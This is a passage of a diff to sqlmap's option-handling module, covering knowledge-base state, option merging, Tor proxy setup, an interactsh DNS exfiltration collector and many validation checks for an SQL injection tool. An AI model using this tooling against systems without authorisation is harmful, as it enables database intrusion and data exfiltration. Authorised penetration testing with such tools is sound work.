"%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) - kb.columnExistsChoice = None + kb.checkWafMode = False + kb.choices = AttribDict(keycheck=False) + kb.codePage = None kb.commonOutputs = None + kb.connErrorCounter = 0 + kb.copyExecTest = None kb.counters = {} + kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() kb.dataOutputFlag = False # Active back-end DBMS fingerprint kb.dbms = None + kb.dbmsFilter = [] kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None + kb.disableHtmlDecoding = False + kb.disableShiftTable = False kb.dnsMode = False kb.dnsTest = None kb.docRoot = None + kb.droppingRequests = False + kb.dumpColumns = None kb.dumpTable = None + kb.dumpKeyboardInterrupt = False kb.dynamicMarkings = [] kb.dynamicParameter = False kb.endDetection = False @@ -1809,37 +2227,64 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.extendTests = None kb.errorChunkLength = None kb.errorIsNone = True + kb.falsePositives = [] kb.fileReadMode = False + kb.fingerprinted = False kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False + kb.forceThreads = None kb.forceWhere = None + kb.forkNote = None kb.futileUnion = None + kb.fuzzUnionTest = None + kb.heavilyDynamic = False + kb.headersFile = None kb.headersFp = {} kb.heuristicDbms = None + kb.heuristicExtendedDbms = None + kb.heuristicCode = None kb.heuristicMode = False + kb.heuristicPage = False kb.heuristicTest = None - kb.hintValue = None + kb.hintValue = "" + kb.jwtChecked = False kb.htmlFp = [] + kb.huffmanModel = {} + kb.respTruncated = False + kb.huffmanValidated = False + kb.disableHuffman = False + kb.huffmanProbes = 0 + kb.huffmanEscapes = 0 + kb.lowCardCache = {} + kb.dumpCharset = {} + kb.dumpCharsetStable = {} + kb.litmusCounter = 0 + kb.reliabilityAlarm = False kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None kb.ignoreNotFound = False kb.ignoreTimeout = False + kb.identifiedWafs = set() kb.injection = InjectionDict() kb.injections = [] + kb.jsonAggMode = False kb.laggingChecked = False kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "count", "index", "io", "limit", "log", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "prediction", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None kb.maxConnectionsFlag = False + kb.trueLength = None kb.mergeCookies = None kb.multiThreadMode = False + kb.multipleCtrlC = False kb.negativeLogic = False + kb.nchar = True kb.nullConnection = None kb.oldMsf = None kb.orderByColumns = None @@ -1860,35 +2305,48 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING kb.pageStable = None + kb.pageStructurallyStable = None kb.partRun = None kb.permissionFlag = False + kb.place = None kb.postHint = None + kb.grpcWeb = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None + kb.processNonCustom = None kb.processUserMarks = None + kb.proxies = None kb.proxyAuthHeader = None kb.queryCounter = 0 - kb.redirectChoice = None + kb.randomPool = {} kb.reflectiveMechanism = True kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0} kb.requestCounter = 0 kb.resendPostOnRedirect = None - kb.responseTimes = [] + kb.resolutionDbms = None + kb.responseTimes = {} + kb.responseTimeMode = None + kb.responseTimePayload = None kb.resumeValues = True kb.safeCharEncode = False kb.safeReq = AttribDict() + kb.secondReq = None + kb.serverHeader = None kb.singleLogFlags = set() + kb.skipSeqMatcher = False + kb.smokeMode = False kb.reduceTests = None - kb.tlsSNI = None + kb.sslSuccess = False + kb.startTime = time.time() kb.stickyDBMS = False - kb.stickyLevel = None - kb.storeCrawlingChoice = None - kb.storeHashesChoice = None kb.suppressResumeInfo = False + kb.tableFrom = None kb.technique = None + kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None + kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run) kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False @@ -1896,19 +2354,29 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.testType = None kb.threadContinue = True kb.threadException = False - kb.tableExistsChoice = None - kb.timeValidCharsRun = 0 kb.uChar = NULL + kb.udfFail = False kb.unionDuplicates = False + kb.unionTemplate = None + kb.wafBypass = None + kb.webSocketRecvCount = None + kb.wizardMode = False kb.xpCmdshellAvailable = False if flushAll: + kb.checkSitemap = None + kb.crawledHosts = set() # hosts whose robots.txt / well-known paths were already probed kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) + kb.lastCtrlCTime = None + kb.normalizeCrawlingChoice = None kb.passwordMgr = None + kb.postprocessFunctions = [] + kb.preprocessFunctions = [] kb.skipVulnHost = None + kb.storeCrawlingChoice = None kb.tamperFunctions = [] - kb.targets = oset() + kb.targets = OrderedSet() kb.testedParams = set() kb.userAgents = None kb.vainRun = True @@ -1928,18 +2396,18 @@ def _useWizardInterface(): while not conf.url: message = "Please enter full target URL (-u): " - conf.url = readInput(message, default=None) + conf.url = readInput(message, default=None, checkBatch=False) - message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) + message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) - if not (filter(lambda _: '=' in unicode(_), (conf.url, conf.data)) or '*' in conf.url): - warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) + if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url): + warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" conf.forms = True - logger.warn(warnMsg) + logger.warning(warnMsg) choice = None @@ -1967,11 +2435,14 @@ def _useWizardInterface(): choice = readInput(message, default='1') if choice == '2': - map(lambda x: conf.__setitem__(x, True), WIZARD.INTERMEDIATE) + options = WIZARD.INTERMEDIATE elif choice == '3': - map(lambda x: conf.__setitem__(x, True), WIZARD.ALL) + options = WIZARD.ALL else: - map(lambda x: conf.__setitem__(x, True), WIZARD.BASIC) + options = WIZARD.BASIC + + for _ in options: + conf.__setitem__(_, True) logger.debug("muting sqlmap.. it will do the magic for you") conf.verbose = 0 @@ -1981,6 +2452,8 @@ def _useWizardInterface(): dataToStdout("\nsqlmap is running, please wait..\n\n") + kb.wizardMode = True + def _saveConfig(): """ Saves the command line options to a sqlmap configuration INI file @@ -1993,53 +2466,7 @@ def _saveConfig(): debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) - config = UnicodeRawConfigParser() - userOpts = {} - - for family in optDict.keys(): - userOpts[family] = [] - - for option, value in conf.items(): - for family, optionData in optDict.items(): - if option in optionData: - userOpts[family].append((option, value, optionData[option])) - - for family, optionData in userOpts.items(): - config.add_section(family) - - optionData.sort() - - for option, value, datatype in optionData: - if datatype and isListLike(datatype): - datatype = datatype[0] - - if option in IGNORE_SAVE_OPTIONS: - continue - - if value is None: - if datatype == OPTION_TYPE.BOOLEAN: - value = "False" - elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): - if option in defaults: - value = str(defaults[option]) - else: - value = "0" - elif datatype == OPTION_TYPE.STRING: - value = "" - - if isinstance(value, basestring): - value = value.replace("\n", "\n ") - - config.set(family, option, value) - - confFP = openFile(conf.saveConfig, "wb") - - try: - config.write(confFP) - except IOError, ex: - errMsg = "something went wrong while trying " - errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, ex) - raise SqlmapSystemException(errMsg) + saveConfig(conf, conf.saveConfig) infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) @@ -2070,6 +2497,43 @@ def setVerbosity(): elif conf.verbose >= 5: logger.setLevel(CUSTOM_LOGGING.TRAFFIC_IN) +def _normalizeOptions(inputOptions): + """ + Sets proper option types + """ + + types_ = {} + for group in optDict.keys(): + types_.update(optDict[group]) + + for key in inputOptions: + if key in types_: + value = inputOptions[key] + if value is None: + continue + + type_ = types_[key] + if type_ and isinstance(type_, tuple): + type_ = type_[0] + + if type_ == OPTION_TYPE.BOOLEAN: + try: + value = bool(value) + except (TypeError, ValueError): + value = False + elif type_ == OPTION_TYPE.INTEGER: + try: + value = int(value) + except (TypeError, ValueError): + value = 0 + elif type_ == OPTION_TYPE.FLOAT: + try: + value = float(value) + except (TypeError, ValueError): + value = 0.0 + + inputOptions[key] = value + def _mergeOptions(inputOptions, overrideOptions): """ Merge command line options with configuration file and default options. @@ -2078,14 +2542,6 @@ def _mergeOptions(inputOptions, overrideOptions): @type inputOptions: C{instance} """ - if inputOptions.pickledOptions: - try: - inputOptions = base64unpickle(inputOptions.pickledOptions) - except Exception, ex: - errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions - errMsg += " ('%s')" % ex if ex.message else "" - raise SqlmapSyntaxException(errMsg) - if inputOptions.configFile: configFileParser(inputOptions.configFile) @@ -2098,43 +2554,36 @@ def _mergeOptions(inputOptions, overrideOptions): if key not in conf or value not in (None, False) or overrideOptions: conf[key] = value - for key, value in conf.items(): - if value is not None: - kb.explicitSettings.add(key) + if not conf.api: + for key, value in conf.items(): + if value is not None: + kb.explicitSettings.add(key) for key, value in defaults.items(): if hasattr(conf, key) and conf[key] is None: conf[key] = value - _ = {} - for key, value in os.environ.items(): - if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): - _[key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper()] = value + if conf.unstable: + if key in ("timeSec", "retries", "timeout"): + conf[key] *= 2 - types_ = {} - for group in optDict.keys(): - types_.update(optDict[group]) + if conf.unstable: + conf.forcePartial = True - for key in conf: - if key.upper() in _ and key in types_: - value = _[key.upper()] + lut = {} + for group in optDict.keys(): + lut.update((_.upper(), _) for _ in optDict[group]) - if types_[key] == OPTION_TYPE.BOOLEAN: - try: - value = bool(value) - except ValueError: - value = False - elif types_[key] == OPTION_TYPE.INTEGER: - try: - value = int(value) - except ValueError: - value = 0 - elif types_[key] == OPTION_TYPE.FLOAT: - try: - value = float(value) - except ValueError: - value = 0.0 + envOptions = {} + for key, value in os.environ.items(): + if key.upper().startswith(SQLMAP_ENVIRONMENT_PREFIX): + _ = key[len(SQLMAP_ENVIRONMENT_PREFIX):].upper() + if _ in lut: + envOptions[lut[_]] = value + if envOptions: + _normalizeOptions(envOptions) + for key, value in envOptions.items(): conf[key] = value mergedOptions.update(conf) @@ -2146,8 +2595,34 @@ def _setTrafficOutputFP(): conf.trafficFP = openFile(conf.trafficFile, "w+") +def _setupHTTPCollector(): + if not conf.harFile: + return + + conf.httpCollector = HTTPCollectorFactory(conf.harFile).create() + def _setDNSServer(): - if not conf.dnsName: + if not conf.dnsDomain: + return + + from lib.core.settings import OOB_INTERACTSH_SERVERS + + _requested = conf.dnsDomain.strip().lower() + if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS: + infoMsg = "setting up interactsh-backed DNS exfiltration collector" + logger.info(infoMsg) + + try: + conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None) + conf.dnsServer.run() + conf.dnsDomain = conf.dnsServer.domain + except socket.error as ex: + errMsg = "there was an error while setting up " + errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + + infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain + logger.info(infoMsg) return infoMsg = "setting up DNS server instance" @@ -2159,9 +2634,9 @@ def _setDNSServer(): try: conf.dnsServer = DNSServer() conf.dnsServer.run() - except socket.error, msg: + except socket.error as ex: errMsg = "there was an error while setting up " - errMsg += "DNS server instance ('%s')" % msg + errMsg += "DNS server instance ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) else: errMsg = "you need to run sqlmap as an administrator " @@ -2175,9 +2650,11 @@ def _setProxyList(): return conf.proxyList = [] - for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w.]+):(\d+)", readCachedFileContent(conf.proxyFile)): - _, type_, address, port = match.groups() - conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) + # Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format + # as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped + for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + _, type_, cred, address, port = match.groups() + conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port)) def _setTorProxySettings(): if not conf.tor: @@ -2192,32 +2669,14 @@ def _setTorHttpProxySettings(): infoMsg = "setting Tor HTTP proxy settings" logger.info(infoMsg) - found = None - - for port in (DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((LOCALHOST, port)) - found = port - break - except socket.error: - pass - - s.close() + port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)) - if found: - conf.proxy = "http://%s:%d" % (LOCALHOST, found) + if port: + conf.proxy = "http://%s:%d" % (LOCALHOST, port) else: - errMsg = "can't establish connection with the Tor proxy. " - errMsg += "Please make sure that you have Vidalia, Privoxy or " - errMsg += "Polipo bundle installed for you to be able to " - errMsg += "successfully use switch '--tor' " - - if IS_WIN: - errMsg += "(e.g. https://www.torproject.org/projects/vidalia.html.en)" - else: - errMsg += "(e.g. http://www.coresec.org/2011/04/24/sqlmap-with-tor/)" - + errMsg = "can't establish connection with the Tor HTTP proxy. " + errMsg += "Please make sure that you have Tor (bundle) installed and setup " + errMsg += "so you could be able to successfully use switch '--tor' " raise SqlmapConnectionException(errMsg) if not conf.checkTor: @@ -2226,27 +2685,41 @@ def _setTorHttpProxySettings(): warnMsg += "Tor anonymizing network because of " warnMsg += "known issues with default settings of various 'bundles' " warnMsg += "(e.g. Vidalia)" - logger.warn(warnMsg) + logger.warning(warnMsg) def _setTorSocksProxySettings(): infoMsg = "setting Tor SOCKS proxy settings" logger.info(infoMsg) - # Has to be SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT) - socks.wrapmodule(urllib2) + port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,)) -def _checkWebSocket(): - infoMsg = "checking for WebSocket" - logger.debug(infoMsg) + if not port: + errMsg = "can't establish connection with the Tor SOCKS proxy. " + errMsg += "Please make sure that you have Tor service installed and setup " + errMsg += "so you could be able to successfully use switch '--tor' " + raise SqlmapConnectionException(errMsg) - if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): - try: - from websocket import ABNF - except ImportError: - errMsg = "sqlmap requires third-party module 'websocket-client' " - errMsg += "in order to use WebSocket funcionality" - raise SqlmapMissingDependence(errMsg) + # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port) + socks.wrapmodule(_http_client) + +def _setHttpOptions(): + if conf.chunked and conf.data: + if hasattr(_http_client.HTTPConnection, "_set_content_length"): + _http_client.HTTPConnection._set_content_length = lambda self, *args, **kwargs: None + else: + def putheader(self, header, *values): + if header != HTTP_HEADER.CONTENT_LENGTH: + self._putheader(header, *values) + + if not hasattr(_http_client.HTTPConnection, "_putheader"): + _http_client.HTTPConnection._putheader = _http_client.HTTPConnection.putheader + + _http_client.HTTPConnection.putheader = putheader + + if conf.http10: + _http_client.HTTPConnection._http_vsn = 10 + _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' def _checkTor(): if not conf.checkTor: @@ -2256,18 +2729,27 @@ def _checkTor(): logger.info(infoMsg) try: - page, _, _ = Request.getPage(url="https://check.torproject.org/", raise404=False) - except SqlmapConnectionException: - page = None + page, _, _ = Request.getPage(url="https://check.torproject.org/api/ip", raise404=False) + tor_status = json.loads(page) + except (SqlmapConnectionException, TypeError, ValueError): + tor_status = None - if not page or 'Congratulations' not in page: - errMsg = "it seems that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" + if not tor_status or not tor_status.get("IsTor"): + errMsg = "it appears that Tor is not properly set. Please try using options '--tor-type' and/or '--tor-port'" raise SqlmapConnectionException(errMsg) else: infoMsg = "Tor is properly being used" logger.info(infoMsg) def _basicOptionValidation(): + _nonSqlTechniques = [name for name, enabled in ( + ("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap), + ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled] + if len(_nonSqlTechniques) > 1: + errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques) + errMsg += "each is a self-contained scan for a different back-end class - pick one" + raise SqlmapSyntaxException(errMsg) + if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) @@ -2286,28 +2768,49 @@ def _basicOptionValidation(): if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \ isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart: - errMsg = "value for option '--start' (limitStart) must be smaller or equal than value for --stop (limitStop) option" - raise SqlmapSyntaxException(errMsg) + warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable" + logger.warning(warnMsg) if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \ isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar: errMsg = "value for option '--first' (firstChar) must be smaller than or equal to value for --last (lastChar) option" raise SqlmapSyntaxException(errMsg) - if isinstance(conf.cpuThrottle, int) and (conf.cpuThrottle > 100 or conf.cpuThrottle < 0): - errMsg = "value for option '--cpu-throttle' (cpuThrottle) must be in range [0,100]" - raise SqlmapSyntaxException(errMsg) + if conf.proxyFile and not any((conf.randomAgent, conf.mobile, conf.agent, conf.requestFile)): + warnMsg = "usage of switch '--random-agent' is strongly recommended when " + warnMsg += "using option '--proxy-file'" + logger.warning(warnMsg) if conf.textOnly and conf.nullConnection: errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.http2 and any((conf.tor, conf.proxy and conf.proxy.lower().startswith("socks"))): + errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies" + raise SqlmapSyntaxException(errMsg) + + if conf.uValues and conf.uChar: + errMsg = "option '--union-values' is incompatible with option '--union-char'" + raise SqlmapSyntaxException(errMsg) + + if conf.base64Parameter and conf.tamper: + errMsg = "option '--base64' is incompatible with option '--tamper'" + raise SqlmapSyntaxException(errMsg) + + if conf.eta and conf.verbose > defaults.verbose: + errMsg = "switch '--eta' is incompatible with option '-v'" + raise SqlmapSyntaxException(errMsg) + + if conf.secondUrl and conf.secondReq: + errMsg = "option '--second-url' is incompatible with option '--second-req')" + raise SqlmapSyntaxException(errMsg) + if conf.direct and conf.url: errMsg = "option '-d' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) - if conf.identifyWaf and conf.skipWaf: - errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'" + if conf.direct and conf.dbms: + errMsg = "option '-d' is incompatible with option '--dbms'" raise SqlmapSyntaxException(errMsg) if conf.titles and conf.nullConnection: @@ -2318,6 +2821,28 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) + if conf.alert and os.environ.get("SQLMAP_UNSAFE_ALERT") != '1': + errMsg = "for security reasons, to prevent execution of potentially malicious " + errMsg += "OS commands via configuration files or copy-paste attacks, " + errMsg += "the '--alert' option requires the environment variable " + errMsg += "'SQLMAP_UNSAFE_ALERT=1' to be explicitly set" + raise SqlmapSystemException(errMsg) + + if conf.evalCode and os.environ.get("SQLMAP_UNSAFE_EVAL") != '1': + errMsg = "for security reasons, to prevent execution of potentially malicious " + errMsg += "Python code via configuration files or copy-paste attacks, " + errMsg += "the '--eval' option requires the environment variable " + errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set" + raise SqlmapSystemException(errMsg) + + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)): + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'" + raise SqlmapSyntaxException(errMsg) + + if conf.api and not conf.configFile: + errMsg = "switch '--api' requires usage of option '-c'" + raise SqlmapSyntaxException(errMsg) + if conf.data and conf.nullConnection: errMsg = "option '--data' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) @@ -2330,10 +2855,21 @@ def _basicOptionValidation(): errMsg = "option '--not-string' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.tor and conf.osPwn: + errMsg = "option '--tor' is incompatible with switch '--os-pwn'" + raise SqlmapSyntaxException(errMsg) + if conf.noCast and conf.hexConvert: errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) + if conf.crawlDepth: + try: + xrange(conf.crawlDepth) + except OverflowError as ex: + errMsg = "invalid value used for option '--crawl' ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + if conf.dumpAll and conf.search: errMsg = "switch '--dump-all' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) @@ -2349,31 +2885,63 @@ def _basicOptionValidation(): if conf.regexp: try: re.compile(conf.regexp) - except re.error, ex: - errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, ex) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.paramExclude: + if re.search(r"\A\w+,", conf.paramExclude): + conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_).strip() for _ in conf.paramExclude.split(','))) + + try: + re.compile(conf.paramExclude) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.retryOn: + try: + re.compile(conf.retryOn) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.retryOn, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) + if conf.retries == defaults.retries: + conf.retries = 5 * conf.retries + + warnMsg = "increasing default value for " + warnMsg += "option '--retries' to %d because " % conf.retries + warnMsg += "option '--retry-on' was provided" + logger.warning(warnMsg) + + if conf.cookieDel and len(conf.cookieDel) != 1: + errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" + raise SqlmapSyntaxException(errMsg) + if conf.crawlExclude: try: re.compile(conf.crawlExclude) - except re.error, ex: - errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, ex) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) + + if conf.scope: + try: + re.compile(conf.scope) + except Exception as ex: + errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.dumpTable and conf.dumpAll: errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) - if conf.predictOutput and (conf.threads > 1 or conf.optimize): - errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" - raise SqlmapSyntaxException(errMsg) - if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) - if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile, conf.sitemapUrl)): - errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" + if conf.forms and not any((conf.url, conf.googleDork, conf.bulkFile)): + errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g' or '-m'" raise SqlmapSyntaxException(errMsg) if conf.crawlExclude and not conf.crawlDepth: @@ -2396,8 +2964,16 @@ def _basicOptionValidation(): errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) + if conf.csrfMethod and not conf.csrfToken: + errMsg = "option '--csrf-method' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + + if conf.csrfData and not conf.csrfToken: + errMsg = "option '--csrf-data' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + if conf.csrfToken and conf.threads > 1: - errMsg = "option '--csrf-url' is incompatible with option '--threads'" + errMsg = "option '--csrf-token' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: @@ -2412,7 +2988,7 @@ def _basicOptionValidation(): errMsg = "option '-d' is incompatible with switch '--tor'" raise SqlmapSyntaxException(errMsg) - if not conf.tech: + if not conf.technique: errMsg = "option '--technique' can't be empty" raise SqlmapSyntaxException(errMsg) @@ -2428,12 +3004,16 @@ def _basicOptionValidation(): errMsg = "switch '--proxy' is incompatible with option '--proxy-file'" raise SqlmapSyntaxException(errMsg) + if conf.proxyFreq and not conf.proxyFile: + errMsg = "option '--proxy-freq' requires usage of option '--proxy-file'" + raise SqlmapSyntaxException(errMsg) + if conf.checkTor and not any((conf.tor, conf.proxy)): - errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)" + errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)" raise SqlmapSyntaxException(errMsg) if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): - errMsg = "value for option '--tor-port' must be in range 0-65535" + errMsg = "value for option '--tor-port' must be in range [0, 65535]" raise SqlmapSyntaxException(errMsg) if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): @@ -2444,10 +3024,21 @@ def _basicOptionValidation(): errMsg = "option '--dump-format' accepts one of following values: %s" % ", ".join(getPublicTypeMembers(DUMP_FORMAT, True)) raise SqlmapSyntaxException(errMsg) - if conf.skip and conf.testParameter: - errMsg = "option '--skip' is incompatible with option '-p'" + if conf.uValues and (not re.search(r"\A['\w\s.,()%s-]+\Z" % CUSTOM_INJECTION_MARK_CHAR, conf.uValues) or conf.uValues.count(CUSTOM_INJECTION_MARK_CHAR) != 1): + errMsg = "option '--union-values' must contain valid UNION column values, along with the injection position " + errMsg += "(e.g. 'NULL,1,%s,NULL')" % CUSTOM_INJECTION_MARK_CHAR raise SqlmapSyntaxException(errMsg) + if conf.skip and conf.testParameter: + if intersect(conf.skip, conf.testParameter): + errMsg = "option '--skip' is incompatible with option '-p'" + raise SqlmapSyntaxException(errMsg) + + if conf.rParam and conf.testParameter: + if intersect(conf.rParam, conf.testParameter): + errMsg = "option '--randomize' is incompatible with option '-p'" + raise SqlmapSyntaxException(errMsg) + if conf.mobile and conf.agent: errMsg = "switch '--mobile' is incompatible with option '--user-agent'" raise SqlmapSyntaxException(errMsg) @@ -2456,15 +3047,19 @@ def _basicOptionValidation(): errMsg = "option '--proxy' is incompatible with switch '--ignore-proxy'" raise SqlmapSyntaxException(errMsg) + if conf.alert and conf.alert.startswith('-'): + errMsg = "value for option '--alert' must be valid operating system command(s)" + raise SqlmapSyntaxException(errMsg) + if conf.timeSec < 1: errMsg = "value for option '--time-sec' must be a positive integer" raise SqlmapSyntaxException(errMsg) - if conf.uChar and not re.match(UNION_CHAR_REGEX, conf.uChar): - errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" + if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): + errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) - if isinstance(conf.uCols, basestring): + if isinstance(conf.uCols, six.string_types): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): errMsg = "value for option '--union-cols' must be a 